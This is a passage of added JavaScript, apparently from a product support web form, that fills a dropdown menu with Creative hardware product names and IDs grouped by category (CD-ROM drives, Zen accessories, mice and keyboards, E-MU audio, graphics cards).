+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster Digital iR52X', '3562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster 52X', '11'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '12x CD-ROM Drives', '1485'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '16x CD-ROM Drives', '1489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '48x CD-ROM Drives', '1548'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '1x & 2x CD-ROM Drives', '1493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '24x CD-ROM Drives', '1495'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '2x & 3x CD-ROM (SCSI)', '1496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '32x CD-ROM Drives', '1498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '36x CD-ROM Drives', '1499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '40x CD-Rom Drives', '1547'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '4x CD-ROM Drives', '1549'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '6x CD-ROM Drives', '1552'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '8x CD-ROM Drives', '1554'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 49 : // Portable Harddisk
+ try { addBoxItem(document.Support_Form.Product_ID, 'Storage Blaster Portable Harddisk', '8996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 265 : // Portable Storage
+ try { addBoxItem(document.Support_Form.Product_ID, 'ThumbDrive', '10681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 12 : // PC Barebone
+ switch(parseInt(famID)) {
+
+ case 54 : // SLiX PC
+ try { addBoxItem(document.Support_Form.Product_ID, 'SLiX PC MPC61Y0', '11766'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 11 : // Monitors
+ switch(parseInt(famID)) {
+
+ case 53 : // LCD
+ try { addBoxItem(document.Support_Form.Product_ID, '17" TFT LCD Monitor With DVI', '9980'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 60 : // Video
+ switch(parseInt(famID)) {
+
+ case 96 : // Video Editing
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster MovieMaker', '13'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 13 : // Accessories
+ switch(parseInt(famID)) {
+
+ case 55 : // Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Optical Digital I/O Card II', '30'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy Internal Drive', '88'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy External Drive', '89'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive IR', '26'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive I', '27'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Remote Controller SBLive', '1816'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 449 : // Zen Micro
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 483 : // Zen Neeon
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 264 : // Portable Media Center
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 57 : // MP3 Players
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox 3 Car Kit', '4894'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 58 : // Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Speaker Extension Cables', '415'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 256 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 59 : // Storage
+ try { addBoxItem(document.Support_Form.Product_ID, 'S-Video Cable Coupler', '250'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'IDE Cable Set', '255'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr2 Decoder Board', '1648'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr3 Decoder Card', '12'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 118 : // Digital Cameras
+ switch(parseInt(famID)) {
+
+ case 117 : // Digital Still Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 4200ZS', '10822'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3200Z', '9762'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3000Z', '9028'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam', '120'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 309 : // Digital Video Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DiVi CAM 316', '11175'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 10 : // Mice & Keyboards
+ switch(parseInt(famID)) {
+
+ case 223 : // Wired Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 5500', '11387'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 3500', '11388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Classic', '4919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical Lite', '4920'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical 3000', '4924'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Optical Mouse', '262'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 224 : // Wireless Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel', '11165'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel Mini', '11166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 227 : // Wireless Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 9000 Pro', '11493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 228 : // Wired PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 52 : // Gaming Devices
+ try { addBoxItem(document.Support_Form.Product_ID, 'Avant Force NX', '9394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cobra Force 3D', '9396'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Gamepad I', '1658'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 8 : // Musical Keyboards
+ switch(parseInt(famID)) {
+
+ case 234 : // PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 231 : // MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Blasterkeys', '40'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 237 : // Creative Professional
+ switch(parseInt(famID)) {
+
+ case 239 : // Digital Audio Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820M', '10496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1212M', '10500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820', '10494'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 0404', '10498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 240 : // Desktop Sampling Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X', '10502'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X Studio', '10504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 421 : // Desktop Sound Modules
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 258 : // Accessories and Upgrades
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X Software Upgrade', '11073'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X OS Upgrade', '10225'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mo\'Phatt X', '11329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Planet Earth X', '11330'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Virtuoso X', '11332'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vintage X Pro Collection', '11072'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Street Kits', '11331'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'AudioDock M', '10229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audio Dock', '10230'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Beat Shop 2', '10404'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'EDI Cable', '10227'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sync Daughter Card', '10576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 243 : // Wireless
+ switch(parseInt(famID)) {
+
+ case 246 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 248 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2460', '11238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 244 : // Notebook Products
+ switch(parseInt(famID)) {
+
+ case 250 : // PCMCIA Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 ZS Notebook', '10769'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 249 : // USB Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 NX', '9103'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music LX', '10246'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 251 : // Portable Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 252 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless NoteBook Optical', '10188'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 253 : // Web Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 6 : // Graphics
+ switch(parseInt(famID)) {
+
+ case 37 : // ATI Radeon 9000 series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250', '11489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250 Xtreme', '11490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 230 : // 3D Labs
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster Picture Perfect', '164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 99 : // NVIDIA GeForce
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce', '1500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce 2', '1501'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce Pro', '1505'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce2 ULTRA 64MB AGP', '1512'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 98 : // NVIDIA Riva TNT Series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Pro', '1527'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster RIVA128ZX', '1689'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Riva TNT2', '4841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Value', '4842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster TNT2 Ultra', '4843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 73 : // 3D Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 Titanium 4200', '1516'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9700 Pro', '1524'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX440', '1539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
